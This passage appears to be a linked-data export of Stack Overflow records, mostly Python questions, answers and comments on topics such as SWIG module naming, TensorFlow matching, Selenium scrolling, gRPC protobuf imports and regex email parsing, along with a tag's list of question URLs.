answer count: 1
has answer: http://stackoverflow.com/a/48794924
tagged with: swig
has body: I'm using swig to generate Python-bindings to a C++ project. This gives me a file like _libdivvun.cpython-36m-x86_64-linux-gnu.so on one machine, _libdivvun.cpython-3.5m.so on another, or even _libdivvun.cpython-35m-darwin.so on that same machine with a different Python version. For testing and packaging for multiple platforms, I'd like to be able to get the string after _libdivvun for a specific Python version – is there a "correct" way to do that? It doesn't seem like I can just use $PYTHON --version and uname, since e.g. the Python bundled with LibreOffice on the darwin platform doesn't include the darwin string (but has an extra dot in the Python version!).
type: UnansweredQuestion
has title: How to find platform/version string for compiled Python modules?

http://stackoverflow.com/comment/84460546
type: QuestionComment
comment on: http://stackoverflow.com/q/48730631
score: 0
type: Comment
has text: [sending-user-agent-using-requests-library-in-python](https://stackoverflow.com/questions/10606133/sending-user-agent-using-requests-library-in-python)

http://stackoverflow.com/comment/84372999
type: Comment
has text: You created a loop that will always create all the windows at once. You need to set it up to only create one window at a time using the list as your reference.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48686395

flask
tags question: http://stackoverflow.com/q/48766096
tags question: http://stackoverflow.com/q/48804355
tags question: http://stackoverflow.com/q/48741561
tags question: http://stackoverflow.com/q/48717765
tags question: http://stackoverflow.com/q/48657726
tags question: http://stackoverflow.com/q/48666680
tags question: http://stackoverflow.com/q/48769071
tags question: http://stackoverflow.com/q/48661706
tags question: http://stackoverflow.com/q/48738713
tags question: http://stackoverflow.com/q/48699703
tags question: http://stackoverflow.com/q/48663488
tags question: http://stackoverflow.com/q/48738556
tags question: http://stackoverflow.com/q/48689238
tags question: http://stackoverflow.com/q/48723736
tags question: http://stackoverflow.com/q/48668763
tags question: http://stackoverflow.com/q/48777369
tags question: http://stackoverflow.com/q/48738653
tags question: http://stackoverflow.com/q/48762191
tags question: http://stackoverflow.com/q/48751271
tags question: http://stackoverflow.com/q/48702628
tags question: http://stackoverflow.com/q/48667035
tags question: http://stackoverflow.com/q/48802421
tags question: http://stackoverflow.com/q/48787882
tags question: http://stackoverflow.com/q/48716107
tags question: http://stackoverflow.com/q/48740033
tags question: http://stackoverflow.com/q/48680063
tags question: http://stackoverflow.com/q/48717333
tags question: http://stackoverflow.com/q/48730079
tags question: http://stackoverflow.com/q/48658939
type: Tag
tags question: http://stackoverflow.com/q/48733642
tags question: http://stackoverflow.com/q/48669586
tags question: http://stackoverflow.com/q/48667084
tags question: http://stackoverflow.com/q/48750515
tags question: http://stackoverflow.com/q/48654607
tags question: http://stackoverflow.com/q/48799184
tags question: http://stackoverflow.com/q/48791436
tags question: http://stackoverflow.com/q/48699039
tags question: http://stackoverflow.com/q/48739066
tags question: http://stackoverflow.com/q/48736918
tags question: http://stackoverflow.com/q/48688176
tags question: http://stackoverflow.com/q/48745994
tags question: http://stackoverflow.com/q/48737976
tags question: http://stackoverflow.com/q/48795723
tags question: http://stackoverflow.com/q/48803154
tags question: http://stackoverflow.com/q/48780324
tags question: http://stackoverflow.com/q/48781064
tags question: http://stackoverflow.com/q/48792841
tags question: http://stackoverflow.com/q/48791805
tags question: http://stackoverflow.com/q/48777708
tags question: http://stackoverflow.com/q/48680405
tags question: http://stackoverflow.com/q/48725807
tags question: http://stackoverflow.com/q/48723588
tags question: http://stackoverflow.com/q/48723986
tags question: http://stackoverflow.com/q/48654611
tags question: http://stackoverflow.com/q/48743075
tags question: http://stackoverflow.com/q/48756724
tags question: http://stackoverflow.com/q/48657785
tags question: http://stackoverflow.com/q/48745895
tags question: http://stackoverflow.com/q/48719037
tags question: http://stackoverflow.com/q/48701702
tags question: http://stackoverflow.com/q/48758792
tags question: http://stackoverflow.com/q/48714251
tags question: http://stackoverflow.com/q/48713631
tags question: http://stackoverflow.com/q/48775478
tags question: http://stackoverflow.com/q/48653120
tags question: http://stackoverflow.com/q/48736714
tags question: http://stackoverflow.com/q/48780755
tags question: http://stackoverflow.com/q/48738844
tags question: http://stackoverflow.com/q/48679480
tags question: http://stackoverflow.com/q/48757083
tags question: http://stackoverflow.com/q/48728228
tags question: http://stackoverflow.com/q/48709651
tags question: http://stackoverflow.com/q/48747524
tags question: http://stackoverflow.com/q/48697056
tags question: http://stackoverflow.com/q/48722223
tags question: http://stackoverflow.com/q/48717969
tags question: http://stackoverflow.com/q/48714769
tags question: http://stackoverflow.com/q/48657640
tags question: http://stackoverflow.com/q/48729795

http://stackoverflow.com/q/48791657
favorite count: 0
type: UnansweredQuestion
has body: myx=np.array([2.4,0.2,0.5,1.6]) myy=np.array([10.1,3.2,7.5,8.6,1,0.1,11,18]) I want to write a program that match each element of “myx” to “myy” using a greedy algorithm. The match will be 1:1, with caliper distance &lt;=0.5, without replacement. The algorithm is simple: import numpy as np myx=np.array([2.4,0.2,0.5,1.6]) myy=np.array([10.1,3.2,7.5,8.6,1,0.1,11,1.4]) Xxx=np.transpose(np.repeat(myx[:, np.newaxis], myy.size , axis=1)) Yyy=np.repeat(myy[:, np.newaxis], myx.size , axis=1) # define a caliper calp=0.5 matches = {} dist = np.abs(Xxx-Yyy) print('Before loop distance matrix',dist) for m in range(0, myx.size): if (np.nanmin(dist[:,m]) &lt;= calp) or not calp: matches[m] = np.nanargmin(dist[:,m]) dist[matches[m],:]=None print('Match Pairs:',matches) print('After loop distance matrix',dist) The problem is I don’t want to use anything in “np” or “panda”, but want to use Tensorflow framework only. I have written part of the program, but find out it’s hard than I originally thoughts. Can someone help me? By the way, this is the first time I try to use tensorflow.. import math import numpy as np import tensorflow as tf #myx = np.random.uniform(low=0.5, high=3.5, size=(5000,)) #myy=np.random.uniform(low=0.8, high=5.0, size=(50000,)) myx=np.array([2.4,0.2,0.5,1.6]) myy=np.array([10.1,3.2,7.5,8.6,1,0.1,11,18]) Xxx=np.transpose(np.repeat(myx[:, np.newaxis], myy.size , axis=1)) Yyy=np.repeat(myy[:, np.newaxis], myx.size , axis=1) X = tf.placeholder(tf.float64, shape=(myy.size,myx.size)) Y = tf.placeholder(tf.float64, shape=(myy.size,myx.size)) # define a caliper calp=tf.constant(0.5,tf.float64) with tf.device('/cpu:0'): dist = tf.abs(tf.subtract(X,Y)) # Use an explicit shape for `i`. i = tf.placeholder(dtype='int64', shape=[]) # Add a second unused argument to `condition()`. def condition(i, *arg): return i &lt;= myx.size-1 # Add a second unused argument to `b()`. def b(i, temp, _): tfslic = dist[0:myy.size, i] # Drop the `axis` argument from `tf.reduce_min()` minVal=tf.…
tagged with: python
score: 2
has answer: http://stackoverflow.com/a/48935288
has comment: http://stackoverflow.com/comment/84595535
upvote count: 3
downvote count: 1
has comment: http://stackoverflow.com/comment/84750567
tagged with: tensorflow
has title: How to write equivalent Tensorflow code with same logic?
type: Question
has comment: http://stackoverflow.com/comment/84618939
has comment: http://stackoverflow.com/comment/84748083
answer count: 1

http://stackoverflow.com/comment/84409363
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48705324
score: 0
has text: you can write dummy code and post it, then only it would be more feasible to solve your issue.

http://stackoverflow.com/q/48674904
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
score: 3
tagged with: python
linked to: http://stackoverflow.com/q/237079
linked to: http://stackoverflow.com/q/12485666
linked to: http://stackoverflow.com/q/25265379
tagged with: filenames
answer count: 0
upvote count: 3
has title: How to get a list of files within a directory from a specific date period using python
has comment: http://stackoverflow.com/comment/84348531
type: Question
has body: So I am able to extract all the file names into a text file, but there are millions of results. How do I limit it to only look at files created in the last 24 hours/1 day ??? This is my code so far. with open("output.txt", "w") as a: for path, subdirs, files in os.walk(r'\\somefolder'): for filename in files: f = os.path.join(filename) a.write(str(f) + os.linesep) thank you for your help
has comment: http://stackoverflow.com/comment/84348593
downvote count: 0

http://stackoverflow.com/a/48905509
type: Answer
score: 6
upvote count: 7
has body: You can try have your authorization function return the cookie and have it stored in each class separately. Something like this: from __future__ import print_function from locust import Locust, TaskSet, task, HttpLocust import json def auth(l): payload = {"username":"some_username","password":"some_password"} resp = l.client.post('/auth', data = json.dumps(payload)) cookie = # get auth cookie from resp return cookie class first_call(TaskSet): cookie = "" def on_start(self): self.cookie = auth(self) @task def get_api_a(self): headers = {"Cookie":self.cookie} self.client.get('/api_a', headers)
downvote count: 1
has comment: http://stackoverflow.com/comment/119320765
has comment: http://stackoverflow.com/comment/122942820
answers question: http://stackoverflow.com/q/48739300

http://stackoverflow.com/comment/84535712
type: Comment
comment on: http://stackoverflow.com/a/48759858
has text: @MarkDickinson true, but I wasn’t sure if that was information the question was looking for. I tried to stick to the “twice as many values” part of it and provide the relevant links in the code. Definitely edit if you feel that the rejection sampling is part of what OP was asking for.
score: 0
type: AnswerComment

http://stackoverflow.com/q/48765717
favorite count: 0
tagged with: python
answer count: 0
type: UnansweredQuestion
tagged with: django
upvote count: 1
has body: I'm experimenting with Django Debug Toolbar, everything works fine except I can't see "historic" Log Entries in the log Panel. Here's an example of the Django views file, used for testing purposes from django.shortcuts import render #logging import logging logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger(__name__) # Create your views here. def home(request): logger.debug('Home view called') return render(request, 'main/home.html') def news(request): logger.debug('News view called') logger.debug('News view called 2nd time') return render(request, 'main/news.html', {'content': "That's some kind of news"}) If I call the home page, in the log panel I can see just: Home view called Then If I call the news page, in the log panel I can see just: News view called News view called 2nd time Every time I call 'Home' or 'News' the Log is cleared Is there a way to instruct Django Toolbar to keep/show previous entries? Am I missing something? Thank you
tagged with: django-debug-toolbar
score: 1
has title: Django Debug Toolbar: Log section cleared every time a page is loaded
type: Question
downvote count: 0

http://stackoverflow.com/comment/84538598
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48768908
has text: Judging by the url you have provided, it doesn't look like you can redirect to the same view without the parameter (since it is compulsory).
score: 0

http://stackoverflow.com/q/48748566
tagged with: google-cloud-platform
has title: NameError: name 'creds' is not defined
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84497111
favorite count: 0
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48748923
downvote count: 0
accepted answer: http://stackoverflow.com/a/48748923
has comment: http://stackoverflow.com/comment/84497563
tagged with: google-vision
type: Question
upvote count: 2
has body: I got an error,NameError: name 'creds' is not defined .I wanna use Google Cloud Vision API.I set up various things in Google Cloud and I downloaded google-cloud-sdk-180.0.0-darwin-x86_64.tar.gz ,and I run command ./google-cloud-sdk/bin/gcloud init,it was successful.I wrote test.py import io import os # Imports the Google Cloud client library from google.cloud import vision from google.cloud.vision import types # Instantiates a client client = vision.ImageAnnotatorClient(credentials=creds,) # The name of the image file to annotate file_name = os.path.join( os.path.dirname(__file__), 'cat.jpg') # Loads the image into memory with io.open(file_name, 'rb') as image_file: content = image_file.read() and when I run this codes, Traceback (most recent call last): client = vision.ImageAnnotatorClient(credentials=creds,) NameError: name 'creds' is not defined the error happens. I wrote codes by seeing https://github.com/GoogleCloudPlatform/google-cloud-python/blob/master/docs/vision/index.rst#id8 ,so I rewrote client = vision.ImageAnnotatorClient() error happens google.auth.exceptions.DefaultCredentialsError: Could not automatically determine credentials. Please set GOOGLE_APPLICATION_CREDENTIALS or explicitly create credential and re-run the application. For more information, please see https://developers.google.com/accounts/docs/application-default-credentials. . I really cannot understand why this error happens.I installed config.json &amp; index.js &amp; package.json in same directory as test.py but same error happens.I run command gcloud components update &amp;&amp; gcloud components install beta but zsh: command not found: gcloud error happens.How should I fix this?What is wrong in my codes?

http://stackoverflow.com/a/48651088
has body: You are using the MethodDispacher which maps the HTTP methods as methods of the exposed class, in this case your index method should be called GET. @cherrypy.expose class HelloWorld(): def GET(self): return "Hello World!" If you are using a version of python that doesn't support class decorators, then use: class HelloWorld(): exposed = True def GET(self): return "Hello World!" Basically, with the MethodDispatcher you expose resources (objects) that has methods matching the HTTP method, like GET - > def GET(self) or POST -> def POST(self). You might find this post informative: https://blog.joel.mx/posts/cherrypy-101-method-dispatcher
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84308744
upvote count: 2
answers question: http://stackoverflow.com/q/48650658
downvote count: 0

http://stackoverflow.com/comment/84331252
type: QuestionComment
score: 2
has text: show your code!!!!!
comment on: http://stackoverflow.com/q/48666832
type: Comment

http://stackoverflow.com/comment/84659900
score: 0
type: AnswerComment
type: Comment
has text: No, it did not work. Pl see edit in my question above.
comment on: http://stackoverflow.com/a/48763946

http://stackoverflow.com/a/48812030
downvote count: 0
has comment: http://stackoverflow.com/comment/104315058
type: Answer
upvote count: 6
has body: The x argument of seaborn.violinplot needs to be the data for the position. If a single position is desired, the data for x needs to consist of a unique value. If the same data is chosen for the x and the hue, x will be given two different unique values, hence two positions are chosen, as seen in the first plot. Instead use a repeated label like sns.violinplot(x=["some label"]*len(df), ...) to create a violin plot at a single position. import numpy as np;np.random.seed(1) import pandas as pd import matplotlib.pyplot as plt import seaborn as sns a = np.concatenate((np.random.binomial(3,0.3,50)*2.2+1, np.random.rayleigh(3,50))) df = pd.DataFrame({"height" : a, "feature" : ["A"]*50+["B"]*50}) fig = plt.figure() fig.add_subplot(1, 2, 1) ax = sns.violinplot(x='feature', y='height', data=df, scale='count', hue='feature', split=True, palette='seismic', inner='quartile') fig.add_subplot(1, 2, 2) ax = sns.violinplot(x=["AB"]*len(df), y='height', data=df, scale='count', hue='feature', split=True, palette='seismic', inner='quartile') plt.tight_layout() plt.show()
score: 6
accepted answer of: http://stackoverflow.com/q/48803619
answers question: http://stackoverflow.com/q/48803619
type: AcceptedAnswer

http://stackoverflow.com/q/48736326
tagged with: web-scraping
type: Question
has comment: http://stackoverflow.com/comment/84472149
has comment: http://stackoverflow.com/comment/84472866
has answer: http://stackoverflow.com/a/48736927
has comment: http://stackoverflow.com/comment/84472596
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84472832
accepted answer: http://stackoverflow.com/a/48736927
tagged with: parsing
tagged with: beautifulsoup
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84472401
has title: How can I parse querystring from webpage?
tagged with: python
has comment: http://stackoverflow.com/comment/84472343
type: AnsweredQuestion
has body: I'm trying to parse all the query string present in a page, so that using that query string I can navigate to specific page. code that I tried for doing this is as below import requests from bs4 import BeautifulSoup from datetime import datetime import datetime import dateutil.parser import time import pytz """python espncricinfo library module https://github.com/dwillis/python-espncricinfo """ from espncricinfo.match import Match from espncricinfo.exceptions import MatchNotFoundError, NoScorecardError """----time-zone-calculation----""" time_zone = pytz.timezone("Asia/Kolkata") datetime_today = datetime.datetime.now(time_zone) datestring_today = datetime_today.strftime("%Y-%m-%d") """------URL of page to parse-------with a date of today-----""" url = "http://www.espncricinfo.com/ci/engine/match/index.html?date=datestring_today" """eg. url = http://www.espncricinfo.com/ci/engine/match/index.html?date=2018-02-12""" r = requests.get(url) soup = BeautifulSoup(r.text, 'html.parser') """"------parsing for matchno------""" match_no = [x['href'].split('/',4)[4].split('.')[0] for x in soup.findAll('a', href=True, text='Scorecard')] for p in match_no: """ where p is a match no, e.g p = '1122282'""" m = Match(p) m.latest_batting print(m.latest_batting) when I print match_no I get output: ['8890/scorecard/1118760/andhra-vs-tamil-nadu-group-c-vijay-hazare-trophy-2017-18/', '8890/scorecard/1118743/assam-vs-odisha-group-a-vijay-hazare-trophy-2017-18/', '8890/scorecard/1118745/bengal-vs-delhi-group-b-vijay-hazare-trophy-2017-18/', '8890/scorecard/1118763/chhattisgarh-vs-vidarbha-group-d-vijay-hazare-trophy-2017-18/'] this page(http://www.espncricinfo.com/ci/engine/match/index.html?date=datestring_today") contains all the match_no of games happening on that day, I want to trim this to get match_no which is 7 digit number[1118743,1118743.1118745....], how can I do this? SO using that match_no I can pass it to the Match() so I get details of particular match which happening at that d…

http://stackoverflow.com/q/48680447
tagged with: char
has answer: http://stackoverflow.com/a/48680628
has body: I need to save a certain strings from a text file. I have a list of keywords that I need to save and each keyword is on a single line. An example would be: name=hydrogen symbol=h number=1 I need to save the string hydrogen, h and 1 but I've tried working with the single characters but I couldn't figure out what to do. Could you help? import urllib2 import re nome = ["hydrogen","helium","lithium","berilium"] f = open('tavolaperiodica.txt','w') for x in range(0, 3): data = urllib2.urlopen("https://en.wikipedia.org/w/index.php?action=raw&amp;title=Template:Infobox%20" + nome[x]) #data = data.split("\n") # then split it into lines for line in data: #print line f.write(line) f.write("\n\n\nNew\n\n\n") f.close() infile = "tavolaperiodica.txt" outfile = "cleaned_file.txt" delete_list = ["|", "}", "{"] fin = open(infile) fout = open(outfile, "w+") for line in fin: for word in delete_list: line = line.replace(word, "") fout.write(line) fin.close() fout.close() lines = [] pat = re.compile(r"\binorganic\b") with open('cleaned_file.txt') as fp: line = fp.readline() cnt = 1 while line: #print("Line {}: {}".format(cnt, line.strip())) line = fp.readline() lines.append(line.strip()) if pat.search(line) != None: print("Found it.") cnt += 1 paramethers = ["name","symbol","number"] index = 0 par = list("") value = list("") pr = open('prova.txt', 'w') for i in range(0, 3): print("linea: ", i) print(len(lines[i])) x = 0 while x &lt; len(lines[i]): print(x) if lines[i][x] == "=": index = x print("Uguale", index) y = 0 for y in range(index+1, len(lines[i])): print("y ", y) #value.append(lines[i][y]) z = 0 while z &gt; y: print("cisono") par.append(lines[i][z]) for d in range(0, len(paramethers)): if par == paramethers: value.append(lines[i][y]) d+=1 z+=1 y+=1 else: print("eskere") x = x + 1 value.append("\n\n") i+=1 print(value) pr.write(''.join(value))
answer count: 1
tagged with: string
favorite count: 0
has comment: http://stackoverflow.com/comment/84357867
tagged with: python
accepted answer: http://stackoverflow.com/a/48680628
tagged with: text
type: AnsweredQuestion
upvote count: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84358022
has title: Save certain strings from a text file in Python
tagged with: python-2.7
score: 0

http://stackoverflow.com/comment/84545441
type: Comment
has text: "Not now" button is not in a frame. How to click on that?
type: AnswerComment
comment on: http://stackoverflow.com/a/48771902
score: 0

http://stackoverflow.com/q/48731466
has comment: http://stackoverflow.com/comment/84462341
has comment: http://stackoverflow.com/comment/84462171
tagged with: selenium
has comment: http://stackoverflow.com/comment/84462288
downvote count: 1
has comment: http://stackoverflow.com/comment/84472489
has answer: http://stackoverflow.com/a/56303925
type: AnsweredQuestion
score: 10
tagged with: javascript
has title: Scroll up and down to get Element into View with Selenium Python
has answer: http://stackoverflow.com/a/53771434
has answer: http://stackoverflow.com/a/48731548
type: Question
has answer: http://stackoverflow.com/a/56778506
has comment: http://stackoverflow.com/comment/84486048
answer count: 7
possible better answer: http://stackoverflow.com/a/53771434
accepted answer: http://stackoverflow.com/a/48731548
favorite count: 0
has comment: http://stackoverflow.com/comment/84472518
has body: I need to be able to scroll up and after that down to find some element with Selenium. I already saw many questions and answers, the main idea I found is self.web_driver.execute_script("return arguments[0].scrollIntoView(true);", element) and this is what I currently have in my code. But this is not good enough since this code is scrolling down only so this fails to find the element in case it is located in the upper part of the rollable view. So I need a script that first scrolls up (page Up?) and after that begins scrolling down. I tried something like this self.web_driver.execute_script("return arguments[0].scrollIntoView(true);", element) self.web_driver.execute_script("window.scrollTo(0, -document.body.scrollHeight);") self.web_driver.execute_script("return arguments[0].scrollIntoView(true);", element) but this doesn't scroll up :(
has answer: http://stackoverflow.com/a/57047815
tagged with: python
upvote count: 11
has comment: http://stackoverflow.com/comment/84462568
has answer: http://stackoverflow.com/a/48732092
has answer: http://stackoverflow.com/a/70873593

http://stackoverflow.com/q/48708496
has comment: http://stackoverflow.com/comment/84444628
tagged with: proto
favorite count: 0
tagged with: protocol-buffers
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84446978
upvote count: 14
tagged with: grpc
has answer: http://stackoverflow.com/a/56838694
type: Question
has body: I'm trying to create a gRPC binding for my python code via: python -m grpc_tools.protoc -I $(pwd)/protos --python_out=./fino/pb2 --grpc_python_out=./fino/pb2 -I=$GOPATH/src -I=$GOPATH/src/github.com/gogo/protobuf/protobuf $(pwd)/protos/* But the generated file has a dependency that doesn't exist: from github.com.gogo.protobuf.gogoproto import gogo_pb2 as github_dot_com_dot_gogo_dot_protobuf_dot_gogoproto_dot_gogo__pb2 which is later used in: DESCRIPTOR = _descriptor.FileDescriptor( name='oracle.proto', package='oracle', syntax='proto2', serialized_pb=_b('\n\x0coracle.proto\x12\x06oracle\x1a-github.com/gogo/protobuf/gogoproto/gogo.proto\x1a\x1fgoogle/protobuf/timestamp.proto\x1a\x1bgoogle/protobuf/empty.proto\x1a\x0btypes.proto\":\n\x0b\x41\x63\x63ountList\x12+\n\x08\x61\x63\x63ounts\x18\x01 \x03(\x0b...') , dependencies=[github_dot_com_dot_gogo_dot_protobuf_dot_gogoproto_dot_gogo__pb2.DESCRIPTOR,google_dot_protobuf_dot_timestamp__pb2.DESCRIPTOR,google_dot_protobuf_dot_empty__pb2.DESCRIPTOR,types__pb2.DESCRIPTOR,]) Obviously, I cannot run this code. After trying to delete the non-existent import: TypeError: Couldn't build proto file into descriptor pool! Invalid proto descriptor for file "oracle.proto": oracle.proto: Import "github.com/gogo/protobuf/gogoproto/gogo.proto" has not been loaded. I've tried adding --include_imports --descriptor_set_out=$(pwd)/protos/all.proto but I'm unsure how to add it to my python files. All I want is self-contained description in my python codebase. EDIT1: example proto file: syntax = "proto2"; package etcdserverpb; import "github.com/gogo/protobuf/gogoproto/gogo.proto"; option (gogoproto.marshaler_all) = true; option (gogoproto.sizer_all) = true; option (gogoproto.unmarshaler_all) = true; option (gogoproto.goproto_getters_all) = false; message Request { optional uint64 ID = 1 [(gogoproto.nullable) = false]; optional string Method = 2 [(gogoproto.nullable) = false]; optional string Path = 3 [(gogoproto.nullable) = false]; optional str…
score: 14
downvote count: 0
answer count: 1
has title: Python protobuf gRPC generates a dependency that doesn't exist

http://stackoverflow.com/comment/84569680
type: Comment
comment on: http://stackoverflow.com/a/48777066
score: 2
type: AnswerComment
has text: @cᴏʟᴅsᴘᴇᴇᴅ: Relatively recent; `__qualname__` was added in version 3.3: http://legacy.python.org/dev/peps/pep-3155/

http://stackoverflow.com/comment/84477389
score: 1
has text: "without figuring out why it's not letting me": What exactly is happening? Do you get an error message? If so, include the complete error message into your question
comment on: http://stackoverflow.com/q/48738851
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84440994
comment on: http://stackoverflow.com/a/48716316
score: 0
has text: You should either learn about what the `PATH` variable on your OS means and how to change it, or search that error and read https://stackoverflow.com/questions/35134225/jupyter-from-cmd-line-in-windows
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48786068
has comment: http://stackoverflow.com/comment/84573671
has title: Raspberry pi Opencv being slow
has comment: http://stackoverflow.com/comment/84573561
has body: I'm using RPI for Color Hue Image Processing, For this purpose i have to convert the image format from BGR to HSV by: hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) Normally this will take 8 ms on 704*704 resolution; to make it faster i divide the image to two segments and process each segment on a separate thread to speed up the BGR2HSV conversion: num_processes = 2 c = 0 hsv = np.zeros((704,704,3)) frame = vs.read() def bgrhsv(x): global c hsv[int(frame.shape[0]/num_processes*x):int(frame.shape[0]/num_processes*(x+1)), :] = cv2.cvtColor(frame[int(frame.shape[0]/num_processes*x):int(frame.shape[0]/num_processes*(x+1)), :], cv2.COLOR_BGR2HSV) c += 1 e1 = time.time() Thread(target=bgrhsv, args=(0,)).start() Thread(target=bgrhsv, args=(1,)).start() while c &lt; 2: pass e2 = time.time() But, this way the conversion process will take up to 20 ms! How can i make the BGR2HSV conversion faster?
type: Question
tagged with: opencv
upvote count: 2
has comment: http://stackoverflow.com/comment/84582576
tagged with: raspberry-pi3
favorite count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84575074
score: 2
answer count: 0
downvote count: 0

http://stackoverflow.com/q/48669676
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48669751
has body: I want to extract '26' from the anchor tag below. How should I get it? Last
type: Question
accepted answer: http://stackoverflow.com/a/48669751
has comment: http://stackoverflow.com/comment/84337190
score: 0
answer count: 1
tagged with: python
has title: Get data from inside of an anchor tag in Python
has comment: http://stackoverflow.com/comment/84337212

http://stackoverflow.com/q/48705517
has body: I am trying to parse a text which has different kinds of separators (e.g. --- and ###) I want to give those separators a name (AW, FW respectively) and further retrieve the content from one separator to the next plus the respective label. For example: test = """ 0 test test test --- 1 test test test 1 test test test ### 2 test test test --- 3 test test test ### 4 test test test """ Should give: [ (None, '0 test test test'), ('AW', '1 test test test\n1 test test test'), ('FW', '2 test test test'), ('AW', '3 test test test'), ('FW', '4 test test test') ] I have tried the following pattern (among others): p = re.compile(r'(?P&lt;AW&gt;---)|(?P&lt;FW&gt;###)') m = re.search(p, test) print(m.groups()) # &gt; ('---', None) but I can't seem to be able to retrieve the relevant information. Background I want to parse email messages which have nested messages. The reason why I'm using regex here is because those separators are not always the same so I thought I may use some regex rule in order to detect them. From: b@example.com To: a@example.com Of course! ---- Original Message --- From: a@example.com To: b@example.com Lunch today? Real world example Note: This data is publicly available (Enron data set) - no censorship necessary The task is to extract all three messages. The two separators here are 1) -----Original Message----- 2) ---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 05/02/2001 05:16 PM --------------------------- The raw string: Message-ID: &lt;19476677.1075856436259.JavaMail.evans@thyme&gt; Date: Wed, 2 May 2001 07:41:00 -0700 (PDT) From: vince.kaminski@enron.com To: loleary@riskwaters.com Subject: RE: EPRM 2001 Houston Cc: vince.kaminski@enron.com, tanya.tamarchenko@enron.com, shirley.crenshaw@enron.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Bcc: vince.kaminski@enron.com, tanya.tamarchenko@enron.com, shirley.crenshaw@enron.com X-From: Vince J Kaminski X-To: &lt;loleary@riskwaters.com&gt; X-c…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84410346
has comment: http://stackoverflow.com/comment/84411519
score: 1
has comment: http://stackoverflow.com/comment/84410243
type: Question
upvote count: 1
has comment: http://stackoverflow.com/comment/84410828
has comment: http://stackoverflow.com/comment/84410712
favorite count: 0
has comment: http://stackoverflow.com/comment/84410397
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/84411394
has title: Parsing a document with separators and return named segments
has comment: http://stackoverflow.com/comment/84410100
answer count: 0
downvote count: 0

http://stackoverflow.com/comment/104675387
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48667924
has text: If you are going to use a CSS selector to specify a class, do it the proper way, `div.loadingWhiteBox`. The way you have it is a string comparison and may or may not work. For example, if there is a class on another element called "loadingWhiteBox-abc", your CSS selector will find it since it's doing a partial text match when that's not the class you want.

http://stackoverflow.com/a/52288628
has body: If you would like to overwrite them with the exact name and extension they had originally, you don't need to reconstruct the path like you're doing in this line filname = os.path.splitext(fil)[0] Rather, you can continue to use the variable imagePath that was provided with imutils.paths which is the exact path to overwrite, already. cv2.imwrite(imagePath, newimage) However, if you do need to take any images of other filetypes and convert them to .jpg like you've done, then you will not be overwriting example.png when you write example.jpg, so you'd need to delete example.png. With my changes above, the code overwrites the images with their new sizes on my system.
score: 3
upvote count: 3
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48705379

http://stackoverflow.com/q/48796525
type: UnansweredQuestion
tagged with: python
linked to: http://stackoverflow.com/q/40267131
has comment: http://stackoverflow.com/comment/84595591
answer count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84598111
type: Question
has comment: http://stackoverflow.com/comment/84597489
tagged with: numpy
has body: I have three numpy arrays: X1.shape = (500,) X2.shape = (5000,) Y.shape = (5000,500) I can run X - X2 without a problem. But Y - X1 results in: ValueError: operands could not be broadcast together with shapes (5000,500) (5000,) If I change to Y - X1[:,None] this seems to work while Y - X2[:,None] gives the error: ValueError: operands could not be broadcast together with shapes (5000,500) (500,1) Please clarify!
has comment: http://stackoverflow.com/comment/97135712
has title: Numpy broadcasting 2d-1d problems
linked to: http://stackoverflow.com/q/47276289
tagged with: array-broadcasting
has comment: http://stackoverflow.com/comment/84596037
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84597000

http://stackoverflow.com/comment/84377110
comment on: http://stackoverflow.com/q/48688415
score: 0
type: Comment
type: QuestionComment
has text: Thanks, ctwheels! That worked.

http://stackoverflow.com/comment/84711281
type: AnswerComment
comment on: http://stackoverflow.com/a/48739256
type: Comment
score: 0
has text: Thanks @gojomo. Do you have recommend a model/library for a corpus my size?

http://stackoverflow.com/q/48748510
tagged with: python
has title: According to PEP8, should I always break my lines before the 79 characters limit?
score: 4
has answer: http://stackoverflow.com/a/48749027
upvote count: 4
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84498017
tagged with: pep8
has body: I've read the section about line length in PEP8 and have understood when to break my code lines. But I'm not sure whether I should break lines uniformly when giving parameters. Explaining: Should I break the line only when it reaches the length limit, like this (servidor_os): servidor_khan = models.BooleanField(blank=True, default=False) servidor_os = models.ForeignKey( EquipamientoOs, null=True, blank=True, related_name='servidores', verbose_name='SO del servidor') cantidad_equipo = models.IntegerField(default=0) Or do it always in order to keep it uniform, like this: servidor_khan = models.BooleanField( blank=True, default=False) servidor_os = models.ForeignKey( EquipamientoOs, null=True, blank=True, related_name='servidores', verbose_name='SO del servidor') cantidad_equipo = models.IntegerField( default=0)
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84497529
type: Question
has comment: http://stackoverflow.com/comment/84497045
has comment: http://stackoverflow.com/comment/84497173

http://stackoverflow.com/q/48647645
tagged with: python
tagged with: regex
accepted answer: http://stackoverflow.com/a/48653430
score: 8
has comment: http://stackoverflow.com/comment/84292892
linked to: http://stackoverflow.com/q/22937618
has comment: http://stackoverflow.com/comment/84292750
has comment: http://stackoverflow.com/comment/84292886
type: AnsweredQuestion
has title: Regular expressions - different string the same match
type: Question
